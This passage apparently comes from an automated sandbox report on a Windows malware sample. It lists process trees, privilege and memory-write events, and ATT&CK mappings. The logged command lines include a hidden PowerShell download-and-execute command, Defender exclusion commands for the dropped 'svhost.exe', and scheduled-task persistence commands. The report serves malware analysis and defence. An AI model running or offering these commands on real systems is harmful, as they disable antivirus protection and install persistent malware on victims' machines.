228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
2164	powershell.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
2164	powershell.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
2164	powershell.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
2164	powershell.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe
228	2l5ntriz.0z5.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3416	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3328	cbacdc6e-e965-492d-af12-f2fd472019bf.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3744	powershell.exe
Token: SeSecurityPrivilege	3744	powershell.exe
Token: SeTakeOwnershipPrivilege	3744	powershell.exe
Token: SeLoadDriverPrivilege	3744	powershell.exe
Token: SeSystemProfilePrivilege	3744	powershell.exe
Token: SeSystemtimePrivilege	3744	powershell.exe
Token: SeProfSingleProcessPrivilege	3744	powershell.exe
Token: SeIncBasePriorityPrivilege	3744	powershell.exe
Token: SeCreatePagefilePrivilege	3744	powershell.exe
Token: SeBackupPrivilege	3744	powershell.exe
Token: SeRestorePrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeSystemEnvironmentPrivilege	3744	powershell.exe
Token: SeRemoteShutdownPrivilege	3744	powershell.exe
Token: SeUndockPrivilege	3744	powershell.exe
Token: SeManageVolumePrivilege	3744	powershell.exe
Token: 33	3744	powershell.exe
Token: 34	3744	powershell.exe
Token: 35	3744	powershell.exe
Token: 36	3744	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeIncreaseQuotaPrivilege	4044	powershell.exe
Token: SeSecurityPrivilege	4044	powershell.exe
Token: SeTakeOwnershipPrivilege	4044	powershell.exe
Token: SeLoadDriverPrivilege	4044	powershell.exe
Token: SeSystemProfilePrivilege	4044	powershell.exe
Token: SeSystemtimePrivilege	4044	powershell.exe
Token: SeProfSingleProcessPrivilege	4044	powershell.exe
Token: SeIncBasePriorityPrivilege	4044	powershell.exe
Token: SeCreatePagefilePrivilege	4044	powershell.exe
Token: SeBackupPrivilege	4044	powershell.exe
Token: SeRestorePrivilege	4044	powershell.exe
Token: SeShutdownPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeSystemEnvironmentPrivilege	4044	powershell.exe
Token: SeRemoteShutdownPrivilege	4044	powershell.exe
Token: SeUndockPrivilege	4044	powershell.exe
Token: SeManageVolumePrivilege	4044	powershell.exe
Token: 33	4044	powershell.exe
Token: 34	4044	powershell.exe
Token: 35	4044	powershell.exe
Token: 36	4044	powershell.exe
Token: SeDebugPrivilege	1396	svhost.exe
Token: SeDebugPrivilege	2740	svhost.exe
Token: SeDebugPrivilege	2740	svhost.exe
Token: SeDebugPrivilege	228	2l5ntriz.0z5.exe
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	3416	Explorer.EXE
Token: SeCreatePagefilePrivilege	3416	Explorer.EXE
Token: SeShutdownPrivilege	2596	svchost.exe
Token: SeCreatePagefilePrivilege	2596	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
880	Conhost.exe
2036	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 3328	3568	Bypassed.exe	83
PID 3328 wrote to memory of 3744	3328	cbacdc6e-e965-492d-af12-f2fd472019bf.exe	84
PID 3328 wrote to memory of 4044	3328	cbacdc6e-e965-492d-af12-f2fd472019bf.exe	87
PID 2740 wrote to memory of 228	2740	svhost.exe	93
PID 2740 wrote to memory of 4208	2740	svhost.exe	94
PID 228 wrote to memory of 600	228	2l5ntriz.0z5.exe	5
PID 228 wrote to memory of 676	228	2l5ntriz.0z5.exe	7
PID 228 wrote to memory of 896	228	2l5ntriz.0z5.exe	11
PID 228 wrote to memory of 320	228	2l5ntriz.0z5.exe	13
PID 228 wrote to memory of 404	228	2l5ntriz.0z5.exe	14
PID 228 wrote to memory of 664	228	2l5ntriz.0z5.exe	15
PID 228 wrote to memory of 1032	228	2l5ntriz.0z5.exe	16
PID 228 wrote to memory of 1096	228	2l5ntriz.0z5.exe	17
PID 228 wrote to memory of 1104	228	2l5ntriz.0z5.exe	18
PID 228 wrote to memory of 1164	228	2l5ntriz.0z5.exe	19
PID 228 wrote to memory of 1172	228	2l5ntriz.0z5.exe	20
PID 228 wrote to memory of 1212	228	2l5ntriz.0z5.exe	21
PID 228 wrote to memory of 1240	228	2l5ntriz.0z5.exe	22
PID 228 wrote to memory of 1288	228	2l5ntriz.0z5.exe	23
PID 228 wrote to memory of 1424	228	2l5ntriz.0z5.exe	24
PID 228 wrote to memory of 1432	228	2l5ntriz.0z5.exe	25
PID 228 wrote to memory of 1520	228	2l5ntriz.0z5.exe	26
PID 228 wrote to memory of 1528	228	2l5ntriz.0z5.exe	27
PID 228 wrote to memory of 1660	228	2l5ntriz.0z5.exe	28
PID 228 wrote to memory of 1688	228	2l5ntriz.0z5.exe	29
PID 228 wrote to memory of 1716	228	2l5ntriz.0z5.exe	30
PID 228 wrote to memory of 1776	228	2l5ntriz.0z5.exe	31
PID 228 wrote to memory of 1784	228	2l5ntriz.0z5.exe	32
PID 228 wrote to memory of 1876	228	2l5ntriz.0z5.exe	33
PID 228 wrote to memory of 1884	228	2l5ntriz.0z5.exe	34
PID 228 wrote to memory of 1900	228	2l5ntriz.0z5.exe	35
PID 228 wrote to memory of 1988	228	2l5ntriz.0z5.exe	36
PID 228 wrote to memory of 2044	228	2l5ntriz.0z5.exe	37
PID 228 wrote to memory of 2092	228	2l5ntriz.0z5.exe	38
PID 228 wrote to memory of 2176	228	2l5ntriz.0z5.exe	40
PID 228 wrote to memory of 2296	228	2l5ntriz.0z5.exe	41
PID 228 wrote to memory of 2536	228	2l5ntriz.0z5.exe	43
PID 228 wrote to memory of 2544	228	2l5ntriz.0z5.exe	44
PID 228 wrote to memory of 2636	228	2l5ntriz.0z5.exe	46
PID 228 wrote to memory of 2748	228	2l5ntriz.0z5.exe	47
PID 228 wrote to memory of 2756	228	2l5ntriz.0z5.exe	48
PID 228 wrote to memory of 2824	228	2l5ntriz.0z5.exe	49
PID 228 wrote to memory of 2832	228	2l5ntriz.0z5.exe	50
PID 228 wrote to memory of 3040	228	2l5ntriz.0z5.exe	51
PID 228 wrote to memory of 3100	228	2l5ntriz.0z5.exe	52
PID 228 wrote to memory of 3120	228	2l5ntriz.0z5.exe	53
PID 228 wrote to memory of 3172	228	2l5ntriz.0z5.exe	54
PID 228 wrote to memory of 3232	228	2l5ntriz.0z5.exe	55
PID 228 wrote to memory of 3348	228	2l5ntriz.0z5.exe	56
PID 228 wrote to memory of 3416	228	2l5ntriz.0z5.exe	57
PID 228 wrote to memory of 3560	228	2l5ntriz.0z5.exe	58
PID 228 wrote to memory of 3848	228	2l5ntriz.0z5.exe	60
PID 228 wrote to memory of 4032	228	2l5ntriz.0z5.exe	62
PID 228 wrote to memory of 4200	228	2l5ntriz.0z5.exe	63
PID 228 wrote to memory of 4616	228	2l5ntriz.0z5.exe	66
PID 228 wrote to memory of 4156	228	2l5ntriz.0z5.exe	68
PID 228 wrote to memory of 3572	228	2l5ntriz.0z5.exe	69
PID 228 wrote to memory of 4644	228	2l5ntriz.0z5.exe	70
PID 228 wrote to memory of 2720	228	2l5ntriz.0z5.exe	71
PID 228 wrote to memory of 4732	228	2l5ntriz.0z5.exe	72
PID 228 wrote to memory of 3520	228	2l5ntriz.0z5.exe	73
PID 228 wrote to memory of 3388	228	2l5ntriz.0z5.exe	74
PID 228 wrote to memory of 1448	228	2l5ntriz.0z5.exe	75
PID 228 wrote to memory of 564	228	2l5ntriz.0z5.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:600
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:404

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:676

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ebfc8cc6-f369-4949-9d43-f73ed048fcf1 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f53ec5ba-ee1c-4511-a694-b2766f561d5b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-367c5765-7d94-4979-abf1-5c11d4e6f52f -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1d5343cf-fe07-4d3d-82ea-66df701df3d6 -LifetimeId:4d8573fa-54d3-4629-aacb-7226adc63da5 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1172
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3172
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Users\Admin\AppData\Local\Temp\2l5ntriz.0z5.exe
    "C:\Users\Admin\AppData\Local\Temp\2l5ntriz.0z5.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:228
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4208
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:640
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2164
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:880
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2044

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:3040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3416
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Users\Admin\AppData\Local\Temp\cbacdc6e-e965-492d-af12-f2fd472019bf.exe
    "C:\Users\Admin\AppData\Local\Temp\cbacdc6e-e965-492d-af12-f2fd472019bf.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3560

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4032

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4200

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4616

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2720

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3520

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3388

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4536

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3372

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1396

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:232

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b889a6732aad6b5cba91d07a84566e01 UMrC/rh8rEa1Uz7Ba+iajw.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4652
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2596

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
PID:3996

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2036

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:1696

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1868

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2408

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4936

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery